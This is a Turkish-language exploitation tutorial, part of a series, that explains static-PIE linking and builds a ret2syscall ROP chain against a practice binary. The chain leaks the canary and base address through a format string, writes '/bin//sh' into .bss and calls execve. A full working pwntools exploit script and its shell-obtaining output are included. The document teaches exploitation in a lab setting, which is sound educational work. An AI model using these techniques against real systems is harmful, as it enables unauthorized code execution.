Skip to content

Latest commit

 

History

History
388 lines (340 loc) · 18.9 KB

0x5.md

File metadata and controls

388 lines (340 loc) · 18.9 KB

Hedefimiz

Yine önceki bölümlerle aynı hedefe sahibiz, programın akışını değiştirerek bir shell çalıştırmak istiyoruz.

Kod analizi

Kodumuz önceki bölüm ile birebir aynı, bu sefer başka bir derleme opsyinu ekledik: -static-pie

Statik bir dinamik

UNIX gibi işletim sistemlerinde, bir ELF dosyasını execve() gibi sistem çağrıları ile çalıştırdığınızda, çekirdek bu yeni program için bir bellek alanı ayarlar, programın kodunu bu bellek alanına yükler ve programı çalıştırır. Bu işlem yüzeysel bir biçimde bu şekilde açıklansada özünde çok daha karmaşıktır.

ELF dosyasını çalıştırmadan önce, ELF header'ında yer alan önemli yapılardan biri program header table'ıdır. Bu header table'daki, her bir header, programı çalıştrmadan önce sistemin yapması gerekenler hakkında çeşitli bilgiler içerir. Bizim ilgilendiğimiz header tipi PT_INTERP. Bu tip header yapısı, ELF için kullanılan linker'ın yolunu belirtir. Bu linkere aynı zamanda kafa karıştıcı bir şekilde "interpreter" da deniyor ancak biz linkerla devam edeceğiz.

Sistem, ELF dosyasını yüklediği şekilde linker'ı çalıştırmak adına belleğe yükler, sonsuz bir döngüyü önlemek adına linker'ın kendi kendisine linklenmediğinden emin olur, ardından linker'a ELF dosyasına işaret eden bir file descriptor verir. Linker, relocation'ları yapmak, üzerinde çalıştığı spesifik platform için gerekli çağrıları kullanarak kendi kullanımı için bir bellek alanı oluşturmak gibi önemli işlerini tamamladıktan sonra, ELF dosyasında, DYNAMIC bölgesi altında belirtilen DT_NEEDED olarak işaretlenmiş Elf64_Dyn tanımlarına bakar. Bu veri yapısı programın ihtiyaç duyduğu shared object'lerin yani .so uzantılı kütüphanelerin yollarını içerir.

Linker, bu kütüphaneleri belleğe yolladıktan sonra başlangıç fonksiyonunu çağrır (bu durumda bu glibc'nin init fonksiyonu olacaktır). Bu çağrı eğer bir kütüphaneye aitse, kütüphane gerekli ayarlarını yaptıktan sonra son olarak bizim programımızın main fonksiyonunu çağrır ve kodumuz çalışmaya başlar.

Dinamik linklenmiş programlar özünde böyle çalışır. Tabi birçok detayı ele almadık ama bunun sebebi bütün detaylara ihtiyaç duymadığımız gerçeği.

Popüler GNU/Linux sistemlerinde çoğu program dinamik linklidir. Bunun amacı statik linkleme sonucu ortaya çıkan büyük program boyutlarını önlemek.

Fakat bu durum çok açık bir soruna sebep oluyor. Ya bir programın ihtiayıcı olan shared object, yani kütüphane sistemde yoksa? Bu durumda programı çalıştıramayız. Ya da daha kötüsü ya programın ihtiyacı olan linker mevcut değilse? Ya da varolan kütüphanenin versiyonu programın ihtiyacı olan versiyondan daha eskiyse? Bu sebeplerden ötürü dinamik linki programlar pek taşınabilir değiller. Her farklı GNU/Linux dağıtımında farklı paket sistemleri ve bağımsız paketler olmasının ana sebpelerinden biri de bu zaten.

Statik linklenmiş programlar bize bu açıdan bir alternatif sağlar, programınızı statik bir şekilde inşa ederseniz, dinamik kütüphanelere ve de linker'a ihtiyaç duymadan programı doğrudan çalıştırabilirsiniz. Çünkü statik olarak inşa edilmiş bir programda, gerekli olan tüm kütüphane fonksiyonları programın içindedir. Yani bir bakıma program kütüphaneyle beraber gelir.

Yani bu program, -static-pie ile derlendiğinden, çalışırken belleğe herhangi bir kütüphane yüklemiyor (ve ayrıca PIE olduğundan ASLR tarafından korunuyor). Bunu gdb'de görebiliriz:

root@o101:~/0x5# gdb ./0x5.elf
...
(gdb) r
Starting program: /root/0x5/0x5.elf
Hello, what's your name?
^C
Program received signal SIGINT, Interrupt.
0x00007ffff7f7327d in read ()
(gdb) info proc map
process 1004
Mapped address spaces:

          Start Addr           End Addr       Size     Offset  Perms  objfile
      0x7ffff7f25000     0x7ffff7f29000     0x4000        0x0  r--p   [vvar]
      0x7ffff7f29000     0x7ffff7f2a000     0x1000        0x0  r-xp   [vdso]
      0x7ffff7f2a000     0x7ffff7f33000     0x9000        0x0  r--p   /root/0x5/0x5.elf
      0x7ffff7f33000     0x7ffff7fc8000    0x95000     0x9000  r-xp   /root/0x5/0x5.elf
      0x7ffff7fc8000     0x7ffff7ff3000    0x2b000    0x9e000  r--p   /root/0x5/0x5.elf
      0x7ffff7ff3000     0x7ffff7ff7000     0x4000    0xc9000  r--p   /root/0x5/0x5.elf
      0x7ffff7ff7000     0x7ffff7ffa000     0x3000    0xcd000  rw-p   /root/0x5/0x5.elf
      0x7ffff7ffa000     0x7ffff8021000    0x27000        0x0  rw-p   [heap]
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0  rw-p   [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0  --xp   [vsyscall]

Exploit

Farkında olduğunuz gibi şuana kadar exploit etiğimiz tüm programlar dinamik olarak linklenmişti. O yüzden libc aracılığı ile ROP yapmamız gereken durumlarda, libcnin başlangıç adresini hesaplayıp, offset'ler falan kullandık. Çünkü program çalıştığında ASLR'dan ötürü linker'ın libcyi nereye yükleyeceğini bilmiyorduk.

Bu sefer durum farklı, elimizde statik bir program var. İlk olarak bunun pek bir sorun oluşturmayacğını düşünebilirsiniz. "Ah, tek yapmamız gereken libc adreslerine dönmek yerine doğrudan ELF içindeki adreslere dönmek, değil mi?"

Şey... tam olarak değil. "Bir bakıma program kütüphane ile beraber gelir" dediğimde tam olarak doğru söylemiyordum. Linker'lar genelde programın inşası sırasında, kütüphanelerden gelen ve kullanılmayan kodu, zaten büyük olan statik programın boyutunu daha da şişirmemek adına programa eklemiyorlar.

Bu da demek oluyor ki, önceki exploitimizde kullandığımız system() çağrısı ve kullandığımız bazı ROP gadget'ları programa dahil olmayabilir:

root@o101:~/0x5# readelf -s 0x5.elf | grep system
   661: 00000000000b80e0    32 OBJECT  LOCAL  DEFAULT   15 system_dirs_len
   662: 00000000000b8100    66 OBJECT  LOCAL  DEFAULT   15 system_dirs
root@o101:~/0x5#

Gördüğünüz gibi system() fonksiyonu bu programda mevcut değil. Yani system() aracılığı ile bir shell almamız mümkün değil. Daha kötüsü, programın içinde, bir shell çalıştırmamızı sağlyacak hiçbir fonksiyon bulunmayabilir. Bu durumda dönüş adresini, sadece hali hazırda bulunan kod parçalarına atlayacak şekilde manipüle ederek bir shell almamız imkansız. Sonuçta olmayan bir adrese dönemeyiz ya?

ret2sys

Bu sorunun bir çözümü var. Evet, hali hazırda varolan libc ya da program ile bir shell almamız mümkün değil. Ancak illa da bir fonksiyonu çağırmak zorunda değiliz ya? Sonuçta tüm bu ROP gadgetlarına sahibiz. Tüm bu gadget'lar aracılığı ile doğrudan Linux çekirdeğinin sistem çağrılarına erişebiliriz.

Tahmin ediyorum ki çoğunuz sistem çağrılarının ne olduğunu bliyordur. Ancak küçük bir hatırlatma olarak, sistem çağrıları (kısaca "syscalls") işlemcinin ring 3, yani userland'den, ring 0 yani kernel'e geçiş yapmasını sağlayan araçlar.

Bu sistem çağrıları, kernel tarafından programlara sağlanır ve programlar genelde bu çağrıları libc gibi kütüphaneler aracılığı ile kullanarak kernel ile haberleşip farklı kaynaklara erişim sağlar.

Elimizde libcdeki bütün fonksiyonlar var olmadığından annemizi olan libcnin eteğinden çekiştererek "anne bunu istiyorum, şunu istiyorum" dememiz bu durumda mümkün değil. Ancak libcnin perdenin arkasında çağırdığı sistem çağrılarını doğrudan kendimiz çağırabiliriz. Dönüş adreslerini değiştirerek sistem çağrılarını çağırarak yapılan bu ROP saldrısına ret2sys deniyor.

Bu exploit için bir shell istiyoruz. O halde anlık çalışan programı, başka bir program ile değiştiren execve sistem çağrısını kullanabiliriz. Hadi manueli inceleyelim:

SYNOPSIS
       #include <unistd.h>

       int execve(const char *pathname, char *const _Nullable argv[],
                  char *const _Nullable envp[]);

DESCRIPTION
       execve()  executes the program referred to by pathname.  This causes the program that is currently being run
       by the calling process to be replaced with a new program, with newly initialized stack, heap, and  (initial‐
       ized and uninitialized) data segments.
       #include <unistd.h>

Yani tek yapmamız gereken 3 tane basit parametre ayarlayıp execve sistem çağrısını çağırmak, bunu nasıl yapabiliriz?

Sistem çağrılarını çağırmak

Sistem çağrılarını çağırmadan önce, aslında ayarlamamız gereken bazı registerlar mevcut. Bunların güzel bir tablosunu bu sitede bulabilirsiniz. Bu sistem çağrılarının calling convention'ı yani çağrı yöntemleridir.

Bu çağrı yönteminde, x64 bit sistemlerde:

  • rax: hangi çağrıyı kullandığımızı belirten numarayı tutar
  • rdi: ilk argüman
  • rsi: ikinci argüman
  • rdx: üçüncü argüman
  • r10: dördüncü arügman
  • r8: beşinci arügman
  • r9: altıncı arügman

olarak kullanılır. Ve klasik x64 çağrı yöntemlerinde olduğu gibi rax çağrı sonucunda dönüş değerini tutar.

Bizim execve çağrısı için:

  • rax: 59
  • rdi: shell'imiz olan /bin/sh karakter dizesinin adresi
  • rsi: NULL (0)
  • rdx: NULL (0)

olması lazım. O halde bazı gadget'lara ihtiyacımız olacak. Hadi kolay olan argümanlar ile başlayalım, rsi ve rdxi NULL yani 0 yapmamız lazım:

root@o101:~/0x5# ropper --file 0x5.elf --search "pop rdx;"
...
0x000000000008da77: pop rdx; pop rbx; ret;
...

Doğrudan pop rdx içeren bir gadget mevcut değil, o yüzden bunu kullanmamız gerecek. Devam edelim, şimdi rsi için aynısı lazım:

root@o101:~/0x5# ropper --file 0x5.elf --search 'pop rsi;'
...
0x00000000000173c2: pop rsi; ret;
...

Bu sefer doğrudan pop rsi içeren bir gadget mevcut.

Şimdi zor kısma geldik, nasıl /bin/sh karakter dizesinin adresini rdi'a yerleştireceğiz? Bunun için ilk olarak /bin/shın bellekte belirli bir adreste erişilebilir olması gerekir, ki adresini alabilelim.

Ancak strings ile kontrol edersek, linker optimizasyonundan dolayı libc içinde olan bu karakter dizesi statik binary'e dahil değil:

strings -a -t x 0x5.elf | grep "/bin/sh"

Bu durumda, bu karakter dizesini belleğe kendimiz yerleştirmemiz gerecek. Tabiki de ilk olarak bellekte yazabileceğimiz bir alan lazım, bunun için ELF dosyasının .bss alanını kullanabiliriz. Bu okuma ve yazma izni olan, serbest bir belllek alanı ve genelde statik değişkenler için kullanılıyor.

Bu alanın adresini tutabilecek bir register lazım, rdiı zaten her türlü kullanacağız, rdiyı deneyelim:

root@o101:~/0x5# ropper --file 0x5.elf --search 'pop rdi;'
...
0x0000000000009e50: pop rdi; ret;
...

Güzel, şimdi rdida tutulan adrese yazmamızı izin verecek birşey lazım:

root@o101:~/0x5# ropper --file 0x5.elf --search 'mov qword ptr'
...
0x0000000000041166: mov qword ptr [rdi], rcx; ret;
...

Bu harika bir gadget çünkü diğer ihtiyacımız olan registerlar'ı modifiye etmiyor, rcxi kullanıyor. rcxi modifye etmenin bir yolu lazım sadece:

root@o101:~/0x5# ropper --file 0x5.elf --search 'pop rcx;'
...
0x0000000000041806: pop rcx; tzcnt eax, eax; ret;
...

Harika ötesi, son olarak rax için bir gadget lazım:

root@o101:~/0x5# ropper --file 0x5.elf --search 'pop rax;'
...
0x0000000000049327: pop rax; ret;
...

Bunların hepsini ayarladıktan sonra sistem çağrısını çağırmamız lazım. Farklı mimarilerde bunu yapmanın farklı yolları var.

x64 için hızlı bir şekilde sistem çağrısına girilmesini sağlayan AMD'nin syscall instruction'ı mevcut. Benzer bir şekilde Intel'in Pentium II ile ortaya attığı systenter instruction'ı da var. Ancak 64 bit bir kernel için her iki işlemcide de uyumlu olan instruction AMD'nin syscall instruction'ı.

Bunu da ropper ile bulabiliriz, ancak pwntools'un başka bir özelliğini daha gösterip sizi ropper ile gadget arama eziyetinden kurtarmak istiyorum o yüzden hadi şimdi herşeyi birleştirelim.

Hepsini birleştirmek

İlk olarak leaklediğimiz base adresi artık ELF'in adresi, o yüzden kullandığımız offseti değiştirmemiz gerekecek:

root@o101:~/0x5# gdb ./0x5.elf
(gdb) r
Starting program: /root/0x5/0x5.elf
Hello, what's your name?
%5$p,%13$p
0x7ffff7ff7520,0xf8ac48df3110f500? [yes/no]
^C
Program received signal SIGINT, Interrupt.
0x00007ffff7f7327d in read ()
(gdb) info proc map
process 1313
Mapped address spaces:

          Start Addr           End Addr       Size     Offset  Perms  objfile
      0x7ffff7f25000     0x7ffff7f29000     0x4000        0x0  r--p   [vvar]
      0x7ffff7f29000     0x7ffff7f2a000     0x1000        0x0  r-xp   [vdso]
      0x7ffff7f2a000     0x7ffff7f33000     0x9000        0x0  r--p   /root/0x5/0x5.elf
      0x7ffff7f33000     0x7ffff7fc8000    0x95000     0x9000  r-xp   /root/0x5/0x5.elf
      0x7ffff7fc8000     0x7ffff7ff3000    0x2b000    0x9e000  r--p   /root/0x5/0x5.elf
      0x7ffff7ff3000     0x7ffff7ff7000     0x4000    0xc9000  r--p   /root/0x5/0x5.elf
      0x7ffff7ff7000     0x7ffff7ffa000     0x3000    0xcd000  rw-p   /root/0x5/0x5.elf
      0x7ffff7ffa000     0x7ffff8021000    0x27000        0x0  rw-p   [heap]
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0  rw-p   [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0  --xp   [vsyscall]
(gdb)

Yeni offset'imizi, libc offset'ini öğrenmek için yaptığımız gibi, programın başlangıç adresinden leaklediğimiz adresi çıkartarak hesaplayabiliriz:

root@o101:~/0x5# python3
Python 3.11.2 (main, Sep 14 2024, 03:00:30) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0x7ffff7ff7520-0x7ffff7f2a000)
'0xcd520'

Yeni offset'imiz 0xcd520, şimdi pwntools ile yazdığımız, önceki bölümden kalma exploitimizi libcnin base adresi yerine ELF'in base adresini güncelleyecek şekilde değiştirelim:

p.recvuntil(b"\n")
p.sendline(b"%5$p,%13$p,")
line   = p.recvline().split(b",")
leak   = line[0]
cookie = line[1]
info(f"Leaked address: {leak.decode()}")
info(f"Leaked cookie: {cookie.decode()}")

elf.address = int(leak, 16) - 0xcd520
info(f"Found base: {hex(elf.address)}")

Şimdi asıl overflow kısmına gelelim, bu kısımda bir değişikliğe gerek yok:

payload  = b"A"*56                  # answer + name
payload += p64(int(cookie, 16))     # cookie
payload += b"A"*8                   # rbp

Güzel, şimdi payload'ımızın dönüş adreslerini modifye eden kısmına geldiğimize göre ret2sys saldırımızı pratiğe geçirebiliriz. Önce ilk gadget'ımız ile rdxi sıfırlamak ile başlayalım:

payload += p64(elf.address+0x8da77) # pop rdx; pop rbx; ret;
payload += p64(0)                   # rdx
payload += p64(0)                   # rbx

Şimdi sırada rsida, ikinci gadget'ımızı kullanacağız:

payload += p64(elf.address+0x173c2) # pop rsi; ret;
payload += p64(0)                   # rsi

Şimdi /bin/shı .bsse yükleyelim. /bin/sh normalde 7 karakter ancak rcx registerını tamamını pop'latığımızdan bize 8 karakter lazım, bunu kolayca ek bir / ekleyerek yapabiliriz. Sonuçta /bin//sh hala geçerli bir yol.

Bu /bin/shı bu adrese yüklemek için, sırasıyla üçüncü, beşinci ve dördüncü gadget'ımızı kullanacağız.

payload += p64(elf.address+0x09e50) # pop rdi; ret;
payload += p64(elf.bss())           # rdi
payload += p64(elf.address+0x41806) # pop rcx; tzcnt eax, eax; ret;
payload += b"/bin//sh"              # rcx
payload += p64(elf.address+0x41166) # mov qword ptr [rdi], rcx; ret;

/bin/shı artık .bssde oturuyor. Adresine direk elf.bss() ile erişebiliyoruz. Sadece bu adresi rdia yüklememiz lazım:

payload += p64(elf.address+0x09e50) # pop rdi; ret;
payload += p64(elf.bss())           # rdi

Son olarak, raxi ayarlamamız lazım, bunun içinse son gadget'ımızı kullanacağız:

payload += p64(elf.address+0x49327) # pop rax; ret;
payload += p64(59)                  # rax

Artık syscall instruction'ınını çağırabiliriz. Bunu ropper ile bulmadık, çünkü aslında pwntools ile dinamik bir şekilde ROP gadget'ları bulmamız mümkün, ben de size göstermek istedim. Fakat bu pwntools özelliği ropper kadar iyi çalışmıyor o yüzden kompleks gadget'lar için hala ropperı kullanmak isteyebilirsiniz:

rop = ROP(elf)
syscall = rop.find_gadget(["syscall"]).address
payload += p64(syscall)

Tüm payload'ı hazırladığımıza göre geri kalan şeyleri ekleyerek tüm explotimizi oluşturabiliriz:

from pwn import *

context.update(arch="amd64", os="linux")
elf = context.binary = ELF("./0x5.elf")
p = process("./0x5.elf")

p.recvuntil(b"\n")
p.sendline(b"%5$p,%13$p,")
line   = p.recvline().split(b",")
leak   = line[0]
cookie = line[1]
info(f"Leaked address: {leak.decode()}")
info(f"Leaked cookie: {cookie.decode()}")

elf.address = int(leak, 16) - 0xcd520
info(f"Found base: {hex(elf.address)}")

payload  = b"A"*56                  # answer + name
payload += p64(int(cookie, 16))     # cookie
payload += b"A"*8                   # rbp

payload += p64(elf.address+0x8da77) # pop rdx; pop rbx; ret;
payload += p64(0)                   # rdx
payload += p64(0)                   # rbx

payload += p64(elf.address+0x173c2) # pop rsi; ret;
payload += p64(0)                   # rsi

payload += p64(elf.address+0x09e50) # pop rdi; ret;
payload += p64(elf.bss())           # rdi
payload += p64(elf.address+0x41806) # pop rcx; tzcnt eax, eax; ret;
payload += b"/bin//sh"              # rcx
payload += p64(elf.address+0x41166) # mov qword ptr [rdi], rcx; ret;

payload += p64(elf.address+0x09e50) # pop rdi; ret;
payload += p64(elf.bss())           # rdi

payload += p64(elf.address+0x49327) # pop rax; ret;
payload += p64(59)                  # rax

rop = ROP(elf)
syscall = rop.find_gadget(["syscall"]).address
payload += p64(syscall)

p.sendline(payload)
p.interactive()

Hadi exploitimizi çalıştırıp deneyelim:

root@o101:~/0x5# python3 solve.py
[!] Did not find any GOT entries
[*] '/root/0x5/0x5.elf'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './0x5.elf': pid 1454
[*] Leaked address: 0x7ffff7ff7520
[*] Leaked cookie: 0x1fb4a36be795cc00
[*] Found base: 0x7ffff7f2a000
[*] Loaded 121 cached gadgets for './0x5.elf'
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$

Önceki | Sonraki